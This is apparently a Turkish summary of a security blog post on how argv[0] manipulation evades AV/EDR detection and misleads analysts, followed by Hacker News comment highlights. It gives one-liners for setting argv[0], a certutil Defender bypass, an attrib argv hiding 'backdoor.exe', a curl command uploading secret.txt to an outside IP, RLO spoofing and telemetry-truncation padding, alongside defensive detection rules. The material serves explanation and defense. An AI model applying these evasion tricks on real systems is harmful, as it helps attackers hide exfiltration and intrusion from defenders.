Neden `argv[0]` kullanıyoruz?
(wietzebeukema.nl)- Komut satırı tuhaftır
- Windows özellikle bu tür sorunlarla ünlüdür, ancak çoğu işletim sisteminin komut satırını uygulama biçimi güvenlik sorunlarına yol açabilir
- Bu yazı, bir sürecin komut satırındaki ilk argümanı olan
argv[0]'ın süreç adını temsil edecek şekilde ayrılmış olması geleneğinin sorunlarını açıklıyor
argv[0] geçmişten kalma bir kalıntıdır
- Bir program başladığında komut satırı argümanlarını alır ve bunları program içinde erişilebilir hale getirir; bu, program başlatıldığında sunulan ilk bilgilerden biridir
- Programın yürütme akışını değiştiren başlıca mekanizmalardan biridir
- POSIX ve DOS/Win32'de benimsenen
execsistem çağrısı ailesine bakarsakint execv(const char *path, char *const argv[]);- Bu
execvfonksiyonunu çağırmak için çalıştırılacak uygulamanın tam yolunupatholarak, argümanları içeren vektörü iseargvolarak programa vermeniz gerekir ve bir durum kodu içeren tamsayı döndürür - Bu tanıma göre, bu çağrının sonucunda program başarıyla çalıştırılırsa hedef program şu şekilde çağrılır:
int main (int argc, char *argv[]);
- Tüm C standartlarında
argcnegatif değildir,argv[argc]null pointer'dır veargc0'dan büyükseargv[0]çağrılan programın adını temsil eder - Bazıları
argv[0]'ın gerekliliğini sorgulayabilir- "Yeni süreç zaten kendi adını biliyorken neden onu çağıran sürecin ilk süreç argümanı olarak iletilmesi gerekiyor?"
- POSIX ortamlarında programlar sembolik bağlantılar üzerinden çağrılabilir; bu, yeni sürecin hangi isteği aldığını bilmesine yardımcı olan bir mekanizmadır
- Örneğin Debian'da
shutdownvereboot, aynısystemctlçalıştırılabilir dosyasına bağlantılıdır ve çağrılan komuta göre farklı davranır
- Bu, şüpheli bir tasarım kararı gibi görünüyor
- "Bir program kendi adına göre farklı davranmalı mı?"
- Modern bakış açısından bu, yazılımın öngörülebilirliğini azaltır ve modern tasarım ilkelerine aykırı görünür
- 1970'ler ve 1980'lerdeki bakış açısından, bilgisayar kaynakları kıt olduğu için yinelenmeyi en aza indirme çabası olarak görülebilir
- Ancak bugün disk alanı sorunu pek öne çıkmıyor. Örneğin macOS Sonoma'da
shutdownverebootayrı çalıştırılabilir dosyalar olarak bulunuyor - Birbirine benzer iki programı tek bir dosyada birleştirmenin gerçekten gerekli olup olmadığı ya da komut argümanı yaklaşımının daha uygun olup olmadığı tartışmalıdır
- Bu ilkeyi kabul etsek bile uygulamanın kendisi de tartışmalıdır
argv[0]bilgisinin süreç argümanlarının bir parçası olarak sunulup sunulmaması sorgulanabilirargv[0]'a bağımlı programlar, çağıran süreç bunu doğru ayarlamazsa hatalı davranabilir- Güvenlik açısından
argv[0]'ı yanlış kullanan programlar da vardır - Daha iyi bir yaklaşım,
argv[0]'ı ayrı birtask_structveya PEB özelliği olarak ayırıp bu değerin işletim sistemi tarafından yönetilmesini sağlamaktır- Bu, tutarlı izleme sağlar ve manipülasyon alanını azaltır
- Buna en çok yaklaşan işletim sistemi şaşırtıcı biçimde Windows'tur
- Windows, diğer ana akım işletim sistemlerinden farklı olarak yeni bir süreç oluştururken
argv[0]'ı ayarlamaz - Windows API çağrıları (
CreateProcess,ShellExecute),argv[0]'ı çalıştırılabilir dosya yoluna göre otomatik olarak ayarlar - Bu en mantıklı uygulama gibi görünse de Windows da POSIX
execçağrılarını benimsediği içinargv[0]'ı elle ayarlamanın bir yolu vardır
- Windows, diğer ana akım işletim sistemlerinden farklı olarak yeni bir süreç oluştururken
argv[0] yok sayılır (çoğu durumda)
argv[0]'ın önemi konusunda ne düşünürseniz düşünün, pratikteargv[0]var olan bir kavramdır ve beraberinde sorunlar getirirexecçağrısında yukarıda belirtilen üç koşuldan ilk ikisi işletim sistemi tarafından ele alınır, ancakargv[0]ile ilgili son koşul yönetilmezexecçağıranıargvüzerinde tam kontrole sahip olduğu için bu gereksinimi yok sayabilir ve ne işletim sistemi ne de çağıran/çağrılan program bu ihlali kontrol ederargv[0]'ın yok sayılmasına örnek- Hello, world! yazdırmak için
echokullanıldığında normaldeexecv("/usr/bin/echo", ["echo", "Hello, world!"])çağrılır - Ancak
execv("/usr/bin/echo", ["oopsie", "Hello, world!"])çağrıldığında daechoprogramı normal şekilde çalışır ve Hello, world! yazdırılır echoprogramıargv[0]'ı yok sayar ve yalnızcaargv[1]ve sonrasındaki argümanlara odaklanır- Programların çoğu,
argv[0]'ı yok sayan benzer bir yaklaşım benimser
- Hello, world! yazdırmak için
argv[0]manipülasyonu örnekleri- C dili dahil birçok programlama ve betik dilinde
argv[0]'ı manipüle etmenin yolları vardır:
python3 -c "import os; os.execvp('/path/to/binary', ['ARGV0', '--other', '--args', '--here'])" perl -e 'exec {"/path/to/binary"} "ARGV0", "--other", "--args", "--here"' ruby -e "exec(['/path/to/binary','ARGV0'],'--other', '--args', '--here')" bash -c 'exec -a "ARGV0" /path/to/binary --other --args --here'- C dili dahil birçok programlama ve betik dilinde
argv[0]'ı manipüle etmek kolaydır ve çoğu programın çalışmasını etkilemez. Ancak güvenlik açısından sorun yaratabilir
argv[0] savunma mekanizmalarını bozabilir
argv[0], güvenlik yazılımlarını kandırmak için kullanılabilir. Kötü niyetli bir kullanıcı sistemi ele geçirirse saldırganın komutlarını çalıştırarak sistemi manipüle eder- AV ve EDR gibi savunma yazılımları süreç yürütmelerini izler ve belirli komutları zararlı görürse bunları tespit eder veya engeller. Çoğu çözüm, saldırganların sık kullandığı komutları etkin biçimde tespit eder
- Örnek:
certutilkomutunun kötüye kullanımı- Windows'un varsayılan yerleşik komut satırı araçlarından biri olan
certutil, saldırılarda sık kullanılır. İlk erişim sağlandıktan sonra dış payload'ları indirmek için bir araç olarak kullanılır - Microsoft Defender Antivirus, dosya indirme girişimini gösteren komut satırı argümanları varsa
certutilçalıştırılmasını engeller. Ancakargv[0]boşluk olarak ayarlanıpcertutilbaşlatılırsa Defender bunu engellemez - Bu, güvenlik tespitinin program adını komut satırının bir parçası saymasından kaynaklanan bir sorunu gösterir. Örneğin tespit mantığı
command_line.contains('certutil') AND command_line.contains('-urlcache')şeklindeyse,certutil'in komut satırının bir parçası olduğu varsayılır. Oysaargv[0]manipüle edilerek bu mantık atlatılabilir - Daha etkili bir tespit mantığı
process_path.endswith('certutil.exe') AND command_line.contains('-urlcache')gibi kurulmalıdır
- Windows'un varsayılan yerleşik komut satırı araçlarından biri olan
argv[0]üzerinden tespitten kaçınma- Tespitten kaçınma,
argv[0]'a ayar amaçlı anahtar kelimeler eklenerek de mümkün olabilir. Tespitler genellikle yanlış pozitifleri elemek için temel koşulları ek koşullarla birleştirir - Örneğin
attrib.exebir dosyayı gizlediğinde bir tespit kuralı tetiklenebilir. Ancak bu araç gerçektedesktop.inidosyası için meşru şekilde sık çalıştırılır - Bunu bilen bir saldırgan, tespiti atlatmak için
argv[0]içinedesktop.iniekleyebilir. Örneğinargv = ['attrib_\desktop.ini', '+H', 'backdoor.exe']olarak ayarlanabilir
- Tespitten kaçınma,
argv[0] ile yanıltma mümkün
argv[0], yalnızca güvenlik yazılımlarını değil, insanları da kandırmak için kötüye kullanılabilir- Güvenlik analistleri, EDR yazılımlarının ürettiği uyarıları inceler; bu uyarılar ilgili sürecin komut satırını da içerir
- Bir sürecin komut satırı, analistin uyarıyı daha fazla araştırıp araştırmayacağına ya da yok sayıp saymayacağına karar vermesinde kritik bilgidir
- Örnek: komut satırı yanıltmacası
- Veri sızdırma olasılığına ilişkin bir uyarı,
curl -T secret.txt 123.45.67.89komutu çalıştırıldığında oluşabilir. Bu komutsecret.txtdosyasını 123.45.67.89 IP adresine yükler - Aynı senaryoda
argv[0]curlyerinecurl localhost | grepolarak değiştirilirse, bu hâlâ geçerli bir komut olur - Güvenlik yazılımı komut satırı dizisini boşluklarla ayrılmış bir metin olarak gösterdiğinden, bu durumda komut büyük olasılıkla
curl localhost | grep -T secret.txt 123.45.67.89gibi görünecektir - Analistin gözünden bakıldığında bu,
curl localhostçalıştırılıp sonucunungrep -T secret.txt 123.45.67.89komutuna aktarıldığı izlenimini verebilir. Oysa gerçekte yapılan şey bilgiyi uzak bir adrese yüklemektir; buna rağmen yerel bir adresten indirme gibi yanlış anlaşılabilir
- Veri sızdırma olasılığına ilişkin bir uyarı,
- Right-To-Left Override (RLO) karakterinin kullanımı
- Kötü şöhretli RLO (sağdan sola yeniden sıralama) karakteri kullanılarak
argv[0]manipüle edilebilir - Bu Unicode karakteri, görüntüleyen uygulamaya kendisinden sonraki karakterleri ters sırada göstermesini söyler
argv[0]içine RLO eklenirseping moc.elgoog.some-evil-website.com,ping moc.etisbew-live-emos.google.comgibi görünebilir- Bu yöntem tespit mantığını etkilemez, ancak analisti kandırma potansiyeline sahiptir
- Kötü şöhretli RLO (sağdan sola yeniden sıralama) karakteri kullanılarak
- Bu tür teknikler, kötü niyetli etkinliği gizlemek için
argv[0]'ın güvenlik yazılımlarını ve insan gözünü aldatacak çeşitli şekillerde manipüle edilebildiğini gösteriyor
argv[0] telemetriyi bozabilir
argv[0], komut satırının en başında yer aldığı için,argv[0]yeterince karakterle doldurulursa diğer tüm argümanlar komut satırının sonuna itilebilir- Bu iki nedenle sorun yaratabilir: Önce ilginç kısım komut satırının sonuna “gizlenerek” analistin kaydırma yapmaması umulabilir; daha önemlisi ise komut satırının toplam uzunluğu yeterince artırılarak izleme yazılımının gerçekten önemli argümanları kesmesi sağlanabilir
- Komut satırı uzunluk sınırları
- Windows 7'den beri Windows'ta komut satırının azami uzunluğu 14.336 karakterle (yaklaşık 14 KiB) sınırlıdır
- Linux çekirdeğinde azami uzunluk 32 sayfa boyutu olarak hardcode edilmiştir; bu da 64 bit mimaride yaklaşık 131.072 karaktere (128 KiB) denk gelir
- macOS Sonoma azami 1.048.576 karakterlik (1 MiB) komut satırına izin verir
- Bu da
argv[0]'ın kaplayabileceği keyfi alanın oldukça fazla olduğu anlamına gelir
- Telemetri bozulması örnekleri
- Süreç izleme yazılımları (ör. EDR), uzun komut satırı yürütmelerini bütünüyle kaydedebilir ya da ek yükü azaltmak için sabit bir uzunlukta kesebilir
- Uzun komut satırlarının tamamı kaydedilirse, yalnızca azami komut satırı uzunluğu kullanılarak 1.000 süreç başlatmak 1GiB günlük verisi üretebilir
- Kesme uygulanıyorsa komut satırı argümanları telemetride kırpılabilir. Örneğin
perl -e 'exec {"echo"} "_"x50000, "Hello, world!"'komutu “Hello, world!” yazdırır, ancak yürütmeye ait telemetride yalnızca alt çizgiler kaydedilebilir ya da bazı durumlarda tamamen boş bir komut satırı görünebilir - Böylece gerçekte önemli olan komut satırı argümanları ortada görünmez; sonuç olarak tespit mantığı da analistler de gerçekte ne olduğunu anlayamaz
argv[0]'ın riskleri: önleme ve tespit
argv[0], bir sorunu çözmeye çalışırken başka birçok soruna yol açarargv[0]'ın yakın zamanda ortadan kalkması pek olası görünmediği için, güvenlik açısından bununla nasıl başa çıkılacağına odaklanmak gerekir- Önleyici tedbirler
- Yazılım geliştiriciler
argv[0]'ın kendi dosya adıyla eşleşip eşleşmediğini karşılaştırarak manipülasyonu kontrol edebilir, ancak bu ölçeklenebilir değildir - İşletim sistemi bu kontrolü daha güvenilir şekilde yapabilir. Program akışını değiştirmek için
argv[0]'a dayanmak kesinlikle önerilmez - Geliştiricilerin mümkün olduğunca
argv[0]ile etkileşime girmemesi en doğrusudur
- Yazılım geliştiriciler
- Güvenlik uzmanları için tespit yöntemleri
argv[0]'ın nasıl çalıştığını ve ne tür sorunlara yol açtığını bilmek, komut satırı yanıltmasını önlemede önemli bir adımdır- Güvenlik yazılımı komut satırı argümanlarını bir dizi olarak sunuyorsa belirli kalıplar güvenilir biçimde tanımlanabilir
- Aşırı uzun
argv[0]değerleri ya da pipe karakteri gibi şüpheli karakterler içeren değerler derhal şüpheli olarak işaretlenmelidir - Komut satırı argümanları bir metin olarak sunuluyorsa, program adını içermeyen komut satırları da işaretlenebilir. Bu,
argv[0]'ın manipüle edildiğine işaret eder - RLO karakterinin varlığı tek başına çoğu ortamda yüksek etkili bir tespit yöntemidir
- Kırpılmış komut satırı argümanları söz konusu olduğunda, güvenlik çözümlerinin ve data lake'lerin bunları nasıl işlediğini ve oluşan telemetriyi nasıl etkilediğini anlamak gerekir
- Savunma yazılımlarının iyileştirilmesi
- Savunma yazılımları
argv[0]kötüye kullanımına yönelik tespiti geliştirmelidir. Şüpheliargv[0]değerleriyle yazılım çalıştırılmasını engellemek mümkün olmalı ve bu yanlış pozitif üretmemelidir - EDR platformları, komut satırı argümanlarını raporlarken
argv[0]'ı hariç tutmayı da değerlendirmelidir. Bu, bu yazıda vurgulanan sorunların çoğunu ortadan kaldırır ve adli analiz değeri de çoğu durumda düşüktür
- Savunma yazılımları
- Sonuç olarak hiç kimse
argv[0]yüzünden baş ağrısı yaşamak istemez. Yazılımlarımız da istemez
GN⁺ özeti
argv[0], geçmişten kalma bir kalıntıdır ve modern yazılım tasarım ilkeleriyle çelişir- Programların çoğu
argv[0]'ı yok saysa da bu güvenlik sorunlarına yol açabilir argv[0], güvenlik yazılımlarını ve insanları kandırabilir, ayrıca telemetriyi bozabilir- Güvenlik uzmanları
argv[0]kötüye kullanımını tespit etmeli, savunma yazılımları da bunu daha iyi ele almalıdır
2 yorum
Galiba ben eski kafalıyım... yazarın iddiasına pek katılamıyorum. Sorun
exec, ama kıvılcımınargv[0]a sıçradığı hissine kapılıyorum.Hacker News görüşleri
argv[0]okunmasına yönelik itirazlar, yazarın bilgisizliğini ya da güçlü bir savunma gereksinimini gösteriyorargv[0]değerinin kullanımını sınırlamaya yönelik tartışmalar dikkate değerargv[0], yüzlerce komutun sembolik bağlantı hedefi olması için kullanılıyorargv[0]kullanan araçlar üzerinden konteyner içinden host komutları çalıştırılabiliyorflatpakkomutu host üzerinde çalışacak şekilde ayarlanabiliyorProgramın adına göre farklı davranması bir sorun değil
argv[0]itirazlarının, bunun modern tasarım ilkelerine aykırı olduğu iddiasına dayandığı söyleniyorargv[0]kullanarak virtualenv içinde olup olmadığını kontrol ediyor ve arama yolunu ayarlıyorargv[0], güvenlik açısından özellikle kötü değilargvdeğerlerini tırnak içine alacak şekilde düzeltmek daha iyiargv[0]ile ilgili bir sorun yokargv[0]kullanıyorbusybox, "shim" modunda
argv[0]kullanıyormacOS, birden fazla komutun tek bir yürütülebilir dosyayı işaret etmesini sağlayacak şekilde yapılandırılmış
argv[0]kullanarak CLI kullanılabilirliğini artırıyor ve kod tekrarını azaltıyorargv[0]kaldırılırsa faydalı işlevler kaybedilirargv[0]kaldırılsa bile saldırganlar başka yollar bulacaktır